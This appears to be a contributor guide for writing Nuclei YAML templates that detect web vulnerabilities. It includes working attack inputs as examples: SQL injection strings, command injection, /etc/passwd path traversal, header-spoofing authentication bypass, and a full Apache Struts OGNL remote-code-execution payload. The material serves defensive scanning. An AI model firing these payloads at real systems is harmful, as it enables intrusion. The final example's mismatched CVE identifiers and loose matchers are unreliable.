- TEMPLATE-REVIEW-GUIDE.md: Internal data-driven review guide with actionable checklists and matcher quality framework - TEMPLATE-CREATION-GUIDE.md: Complete guide for template authors with step-by-step creation workflow and examples Both guides include: - Vulnerability-specific matcher examples - False positive prevention techniques - Quality standards and best practices - Official documentation references - Community support channels
15 KiB
Nuclei Template Creation Guide
Complete Guide for Writing High-Quality Security Templates
Getting Started
What is a Nuclei Template?
Nuclei templates are the cornerstone of the Nuclei scanning engine, designed to enable precise and rapid scanning across various protocols like TCP, DNS, HTTP, and more. Templates are YAML-based definitions that describe how to detect security vulnerabilities, misconfigurations, and exposures while ensuring low-to-zero false positives.
📖 Official Documentation: For comprehensive technical details, visit ProjectDiscovery Template Docs
Template Structure Overview
id: template-identifier
info:
name: Human Readable Vulnerability Name
author: your-github-username,vulnerability-discoverer-handle
severity: critical|high|medium|low|info
description: Clear explanation of what this template detects
reference:
- https://link-to-vulnerability-details
classification:
cve-id: CVE-2024-1234
cwe-id: CWE-89
tags: cve,sqli,rce
metadata:
verified: true
shodan-query: 'http.title:"VulnApp"'
http:
- method: GET
path:
- "{{BaseURL}}/vulnerable-endpoint"
matchers:
- type: word
words:
- "vulnerability_indicator"
part: body
Step-by-Step Template Creation
Step 1: Research and Understand the Vulnerability
Before writing any code:
- Read the original vulnerability disclosure/advisory
- Understand the root cause and exploitation method
- Identify unique indicators that prove vulnerability exists
- Test the vulnerability in a controlled environment
- Document the vulnerable versions and affected components
Step 2: Choose Your Template ID and Info
# Use descriptive, short identifiers
id: apache-struts-ognl-injection # GOOD - clear and specific
id: vuln-app-rce # BAD - too generic
info:
name: Apache Struts OGNL Code Injection # Format: "Vendor Product - Vulnerability Type"
author: your-github-username,original-researcher-handle # Always credit the discoverer
severity: critical # Based on CVSS score and real-world impact
Step 3: Write Accurate Description and References
info:
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability that allows remote code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
Step 4: Add Proper Tags and Metadata
info:
tags: cve,cve2018,rce,apache,struts,ognl # Be specific and comprehensive
metadata:
verified: true # Only if you've tested it yourself
max-request: 1 # Auto-calculated, don't set manually
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
Writing Effective HTTP Requests
Basic HTTP Template Structure
http:
- method: GET|POST|PUT|DELETE
path:
- "{{BaseURL}}/endpoint" # Dynamic BaseURL variable
- "{{Hostname}}/another-path" # Alternative dynamic variable
headers:
User-Agent: Custom-Agent-String
Content-Type: application/json
Origin: https://example.com
body: |
{"param": "{{payload}}"}
disable-cookie: false # Cookies reused by default (optional)
matchers-condition: and # Require ALL matchers to pass
matchers:
- type: word
words:
- "success_indicator"
part: body
📖 Reference: HTTP Template Syntax for complete protocol details
Using Variables for Flexibility
variables:
username: "admin"
payload: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/login"
body: |
username={{username}}&password={{payload}}
Matcher Best Practices
🚫 Avoid Weak Matchers
# BAD - Too generic, will match many innocent systems
matchers:
- type: word
words:
- "error"
- "admin"
- "login"
part: body
✅ Use Strong, Specific Matchers
# GOOD - Specific to the vulnerability
matchers-condition: and
matchers:
- type: word
words:
- "VulnApp Management Console v2.1.0" # Specific application version
- "Build 2024.03.15" # Specific build
part: body
- type: status
status:
- 200
- type: word
words:
- "OGNL_INJECTION_SUCCESS_{{randstr}}" # Proof of exploitation
- "java.lang.ProcessBuilder" # Technical indicator
part: body
condition: or # Any of these proves exploitation
Multi-Layer Verification Strategy
# Layer 1: Identify the application
# Layer 2: Confirm vulnerable version
# Layer 3: Prove vulnerability exists
matchers-condition: and
matchers:
- type: word # Layer 1: App identification
words:
- "Apache Struts Framework"
- "struts-tags"
part: body
- type: regex # Layer 2: Version detection
regex:
- 'Struts 2\.[0-4]\.[0-9]+' # Vulnerable version range
part: body
- type: word # Layer 3: Exploitation proof
words:
- "ognl.OgnlException"
- "java.lang.SecurityException"
part: body
condition: or
Testing Your Template
Before Submitting - Test Thoroughly
# Test against known vulnerable instance
nuclei -t your-template.yaml -target http://vulnerable-app.local -debug
# Test against patched/non-vulnerable systems
nuclei -t your-template.yaml -target http://patched-app.local -debug
# Test against similar but different applications
nuclei -t your-template.yaml -target http://different-but-similar-app.local -debug
Validation Checklist
- Template detects the vulnerability on vulnerable systems
- Template does NOT trigger false positives on:
- Patched versions of the same application
- Similar applications from the same vendor
- Generic web frameworks or CMSs
- Default server error pages
- Matchers are specific enough to avoid honeypots
- References are valid and accessible
- YAML syntax is correct (
nuclei -validate -t template.yaml)
Common Vulnerability Types - Template Patterns
SQL Injection Detection
http:
- method: POST
path:
- "{{BaseURL}}/search"
body: "q={{payload}}"
payloads:
payload:
- "1' OR '1'='1"
- "1' UNION SELECT version()--"
- "1' AND (SELECT SUBSTRING(@@version,1,1))='5'--"
matchers:
- type: word
words:
- "mysql_fetch_array(): supplied argument"
- "You have an error in your SQL syntax"
- "Microsoft OLE DB Provider for ODBC"
part: body
Remote Code Execution (RCE)
variables:
cmd: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: POST
path:
- "{{BaseURL}}/execute"
body: |
command={{cmd}} && echo {{marker}}
matchers:
- type: word
words:
- "{{marker}}"
part: body
- type: regex
regex:
- 'root|administrator|www-data'
part: body
Local File Inclusion (LFI)
http:
- method: GET
path:
- "{{BaseURL}}/view?file=../../../etc/passwd"
- "{{BaseURL}}/view?file=..\\..\\..\\windows\\win.ini"
matchers:
- type: regex
regex:
- 'root:.*?:[0-9]*:[0-9]*:' # Linux /etc/passwd
- '\[fonts\]' # Windows win.ini
part: body
Authentication Bypass
http:
- method: GET
path:
- "{{BaseURL}}/admin"
headers:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
matchers-condition: and
matchers:
- type: word
words:
- "Admin Dashboard"
- "Administrative Panel"
part: body
- type: status
status:
- 200
Advanced Template Features
Using Extractors for Data Collection
http:
- method: GET
path:
- "{{BaseURL}}/info"
extractors:
- type: regex
name: version
regex:
- 'Version: ([0-9\.]+)'
group: 1
matchers:
- type: word
words:
- "Application Info"
part: body
Conditional Logic with DSL
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "vulnerable_pattern")'
- 'len(body) > 1000'
condition: and
Network Templates for Non-HTTP Services
network:
- inputs:
- data: "{{hex_decode('474554202f20485454502f312e310d0a0d0a')}}" # GET / HTTP/1.1
host:
- "{{Hostname}}"
port: 8080
matchers:
- type: word
words:
- "Server: VulnServer/1.0"
part: data
Submission Guidelines
Preparing Your Template for Submission
-
Validate Syntax
nuclei -validate -t your-template.yaml -
Test Thoroughly
nuclei -t your-template.yaml -target vulnerable-instance.com -debug -
Check for Existing Templates
- Search the repository for similar vulnerabilities
- Avoid duplicating existing detection logic
- If improving existing template, explain why
-
Follow Naming Conventions
- Place in appropriate directory (
cves/2024/,exposures/,misconfiguration/) - Use descriptive filename:
CVE-2024-1234.yamlorapp-name-vuln-type.yaml
- Place in appropriate directory (
Pull Request Best Practices
- Title: Clear description of what the template detects
- Description: Include:
- Link to vulnerability details/advisory
- Affected versions
- Testing methodology
- Screenshots/proof if possible
- Testing: Show debug output proving detection works
- Test Instances: If you have a testable self-hosted instance or vulnerable environment that cannot be shared publicly, email templates@projectdiscovery.io
- References: Include all relevant security advisories
💡 Pro Tip: Providing a testable vulnerable environment significantly reduces review time and speeds up the template merge process. Reviewers can immediately validate your template instead of setting up their own test environment.
Quality Checklist
Before Submitting Your Template
-
Functionality
- Template detects the intended vulnerability
- No false positives on tested systems
- Matchers are specific and accurate
-
Attribution
- Original vulnerability discoverer credited in author field
- All references included and valid
- Proper CVSS scoring if applicable
-
Quality
- YAML syntax is valid
- Follows nuclei template conventions
- Includes appropriate tags and metadata
-
Testing
- Tested against vulnerable instance
- Tested against non-vulnerable similar systems
- Debug output reviewed for accuracy
-
Documentation
- Clear description of what template detects
- Proper severity classification
- Complete reference list
Examples of High-Quality Templates
Complete CVE Template Example
id: CVE-2024-1234-apache-struts-rce
info:
name: Apache Struts 2.x OGNL Code Injection
author: your-github-username,original-researcher-handle
severity: critical
description: |
Apache Struts 2.x before 2.3.34 and 2.5.x before 2.5.16 suffer from
OGNL injection vulnerability in the namespace value that allows remote
code execution.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-057
- https://nvd.nist.gov/vuln/detail/CVE-2018-11776
- https://seclists.org/fulldisclosure/2018/Aug/31
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cve-id: CVE-2018-11776
cwe-id: CWE-94
metadata:
verified: true
shodan-query: 'http.component:"Apache Struts"'
fofa-query: 'body="struts" && title="Apache"'
tags: cve,cve2018,rce,apache,struts,ognl,kev
variables:
command: "whoami"
marker: "{{rand_base(8)}}"
http:
- method: GET
path:
- "{{BaseURL}}/${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{{command}}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}/actionChain1.action"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "struts"
- "java"
part: body
condition: or
- type: regex
regex:
- 'root|administrator|www-data|apache'
part: body
Getting Help
Resources
- Official Documentation: ProjectDiscovery Template Docs
- HTTP Templates: HTTP Protocol Documentation
- AI Template Creation: ProjectDiscovery Cloud Templates - AI-powered template generation
- Examples: Browse existing templates in the Nuclei Templates Repository
- Community: Join ProjectDiscovery Discord for questions and discussions
- Testing: Use local vulnerable applications for safe testing
- Test Instances: Email templates@projectdiscovery.io if you can provide a testable vulnerable environment
💡 Pro Tip: Sharing test instances with reviewers significantly accelerates the template review and merge process.
Common Issues and Solutions
- False Positives: Make matchers more specific, add version detection
- YAML Errors: Use online YAML validators, check indentation
- Template Not Triggering: Verify target is actually vulnerable, check debug output
- Performance Issues: Minimize requests, optimize matchers
This guide provides everything needed to create high-quality, accurate nuclei templates that contribute valuable security detection capabilities to the community.